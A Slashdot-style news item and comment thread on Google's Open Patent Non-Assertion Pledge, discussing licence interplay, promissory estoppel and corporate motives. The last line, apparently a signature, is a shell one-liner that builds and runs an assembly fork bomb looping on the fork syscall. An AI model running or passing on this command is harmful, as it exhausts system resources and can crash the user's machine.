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Google Pledges Not To Sue Any Open Source Projects Using Their Patents
sfcrazy writes "Google has announced the Open Patent Non-Assertion (OPN) Pledge. In the pledge Google says that they will not sue any user, distributor, or developer of Open Source software on specified patents, unless first attacked. Under this pledge, Google is starting off with 10 patents relating to MapReduce, a computing model for processing large data sets first developed at Google. Google says that over time they intend to expand the set of Google's patents covered by the pledge to other technologies."
This is in addition to the Open Invention Network, and their general work toward reforming the patent system. The patents covered in the OPN will be free to use in Free/Open Source software for the life of the patent, even if Google should transfer ownership to another party. Read the text of the pledge. It appears that interaction with non-copyleft licenses (MIT/BSD/Apache) is a bit weird: if you create a non-free fork it appears you are no longer covered under the pledge.
It's clear what's going on here is that Google is once again trying to return to it's "Don't be Evil" roots -- even though its behavior is painting it less and less of the champion of the free internet, and more just-another-profit-centered-corporation. When you sue an open source software producer, you usually don't get much money or anything in return, so it's not a big deal monetarily. The gesture however gives them some PR points they've desperately been seeking lately, especially amongst the tech community they've alienated by cancelling Reader. Likely though, it's too little, too late.
" It appears that interaction with non-copyleft licenses (MIT/BSD/Apache) is a bit weird: if you create a non-free fork it appears you are no longer covered under the pledge."
That's not weird. That's exactly how it should be.
Is a "pledge" legally binding?
According to this, yes: http://en.wikipedia.org/wiki/Estoppel#Promissory_estoppel
From the summary:
The patents covered in the OPN will be free to use in Free/Open Source software for the life of the patent, even if Google should transfer ownership to another party.
Or to translate from flamebait to English:
They'll share with anyone else who shares. Same concept as the GPL, though admittedly in a somewhat more vague and less legally-binding manner.
because people love to make it sound like GPL is terrible when it's not. Specifically people who are: pro apple, pro microsoft, or anti google. The rest of the world understands GPL and why it's great and takes advantage of it every day.
It's actually very clever. It means less open source software is GPLed, because the GPLv3 means that patent rights have to be dismissed. Thus more will be BSDed/MITed. Then, because it's BSDed/MITed, more big companies will actually use the software (because most big companies avoid GPLv3 like the plague). Then those big companies will release a closed version, and have to pay google.
Cunning indeed.
Apple sells proprietary crud layered on top of free software. They generally don't want you to be even aware of the free software. They just want you to fixate on the shiny shiny proprietary bits on the surface. The fact that they exploit the free labor of hobbyists doesn't alter the basic crass nature of their activities.
Apple are not "F/OSS developers".
A Pirate and a Puritan look the same on a balance sheet.
Note that IBM did the same thing with about 1000 of its patents, more than 10 years ago. And shortly
thereafter, followed up with another 1000 or so.
As stated in Google's blog link above.
Promissory estoppel (you promised, so you have to stop) is enforceable at least in the US, AU, and UK. The consultations are a) a clear promise. ("We don't like to sue" is insufficient), b) reliance on the promise (we made this software knowing that Goog promised not to sue) and c) inequity (it would be unfair for Goog to sue when they promised not to).
In some countries, it can only be used as a defense, to have a lawsuit dismissed. You can't sue someone to make them live up to a unilateral promise. They say it's "a shield, not a sword". In AU, it can be used as a sword - you could sue Gopgle to force them to live up to the promise, or for damages if they don't. That means that an Aussie user could sue Google for damages if Google threatened to enforce the patent against some software on which they rely.
Aside from tbe legal terms, imagine you're on the jury. Google sues someone. The defendant points out that Google promised not to, essentially giving the defendant permission to use the patents. As a juror, how would YOU decide the case?
KHTML is what WebKit is based on.
It was not developed by Apple.
They did make major improvements, but they did base their work on KHTML which is LGPL.
Yeah, they DEFINITELY don't want you to be aware of free software, which is why the horribly obfuscated URL apple.com/opensource lists several hundred projects they are using, as well as links (and fully browsable source!) to anything they have modified. In fact, it's probably the simplest, most well-organized, and most public list of open source projects of any large company I have seen.
http://www.apple.com/opensource/
It's really a matter of reputation. Google's business model turned out to be largely relying on their being Open Source friendly. With this pledge they reinforce this image. If they betray this image, the backdraft could be painful. Probably not fatal, but painful.
I'm really as defiant as the next guy about Google's behaviour, and I don't take at face value their motto of not doing evil, but on the matters of IP they seem to have been consistently opposed to maximalism, and have supported many open stuff. I watch them closely on data privacy matters, but in most other issues I find their position decent - so far.
There's nothing like $HOME
Isn't that the same as saying that if you bought a patent you could void all current licensed copies in existence? Each of those licenses was a contract of sorts, right?
http://soylentnews.org/~tibman
Also if you read it it only cover specific Google patents. So they can identify the business areas where this strategy is a net win and put those patents into the pledge. In other areas where it might be a net loss they don't.
In fact I think this whole pledge is about a specific Google project, but they haven't told us what that is.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;